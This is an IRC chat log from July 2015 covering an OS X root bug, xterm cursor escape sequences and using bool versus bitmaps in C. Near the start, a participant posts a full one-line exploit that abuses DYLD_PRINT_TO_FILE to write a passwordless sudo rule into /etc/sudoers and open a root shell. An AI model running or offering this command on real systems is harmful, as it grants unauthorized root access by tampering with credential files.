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biniar
did you see the Apple sudo bug that fits in a Tweet?
Evil_Bob
no, linky?
atmc
is there a VTE sequence that changes my cursor into a transparent block with just the outlines?
biniar
echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s # via reddit: numinit (shorter)
1:33 AM - 22 Jul 2015
k0ga
atmc: I think so
but I don't know if it is implemented by all the terminals
atmc
k0ga: can you point me to a hint?
k0ga
st doesn't do it
FRIGN
biniar: what does it do?
atmc
xterm here
biniar
FRIGN: gives you root on OS X
FRIGN
cool
latest?
k0ga
http://invisible-island.net/xterm/ctlseqs/ctlseqs.html
this is the list of sequences of xterm
biniar
http://www.theregister.co.uk/2015/07/22/os_x_root_hole/
I still don't have my home keys working on URxvt
atmc
k0ga: hm only full blocks
or underline
or bar
Evil_Bob
biniar: hah awesome
k0ga
what is the difference between underline and bar?
atmc
|
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k0ga
ah
biniar
one is sideways bar
^_^
atmc
ttp://www.fileformat.info/info/unicode/char/2588/index.htm
is the block
FRIGN
OS X is insanely insecure
biniar
http://www.fileformat.info/info/unicode/char/2588/index.htm
FRIGN: but the code fit into a Tweet rofl
EPIC fail
FRIGN
biniar: yeah
thing is:
biniar
like upload your private key fail
FRIGN
Apple's OSX is full of bugs
biniar
agree
and apple doesn't give a fu*k
FRIGN
the only reason why it's even half-secure is because it's based on BSD
biniar
;)
FRIGN
If you've ever talked to a security guy (like I did) from Apple, you'd know how dumb they are in this regard
biniar
maybe i can get a job there
FRIGN
dumbing down the system is their curse.
dami0
well now
simple is better, no?
>:]
FRIGN
biniar: I think you would do a better job
even without background
biniar
the problem is, often much demand with little knowledge or time
FRIGN
of course simple is better
we humans are not designed to really manage complex systems efficiently
biniar
if you don't kiss ass or act stupid you don't get a job here lol
FRIGN
the unix philosophy kind of helps us cut issues into pieces
the only way to make a setuid program secure is to reduce its footprint.
it's that simple.
biniar
what would you say is the bigger problem with OS X ?
dami0
anyway, i'm going home, have a fun one boys
biniar
dami0: pZ
k0ga
atmc: you can implement it in st an add a new parameter for transparent block :P
Evil_Bob
biniar: did you try sfeed yet? :P
biniar
not yet
first coffee then bong hit
Evil_Bob
ok thats good, it will improve the sfeed experience (tm)
FRIGN
gone for the evening
in the pub :)
Evil_Bob
noice :D
retard
i am waiting for bitcoins
stateless
Evil_Bob, works on ip6 too: http://sprunge.us/RbNF
:)
atmc
k0ga: you know what
i'm gonna do that
FRIGN: btw. why are sbase and your recent st patch against bool?
stateless
atmc, bool sucks
:P
atmc
explain
stateless
atmc, there's no reason to use it
int is enough
atmc
i defined bool for my microcontroller lib
stateless
#define FALSE 0
#define TRUE -1
:P
atmc, everyone in C understands true as non-zero
atmc
yes, but it will use 32 bits?
stateless
and that's enough
:P
atmc
int -> 32 bits on my platform
so i lose 31 bits
or am i wrong?
stateless
atmc, bool is 8 bits normally
but if you worry about that and you have a large number of these, you can use a bitmap
1 bit per state
1 bit per flag*
atmc
i have one bit per flag
with custom defined bool
stateless
how many flags?
atmc
i dunno really. 200?
every bit counts on this thing
stateless
atmc, better to use a bitmap
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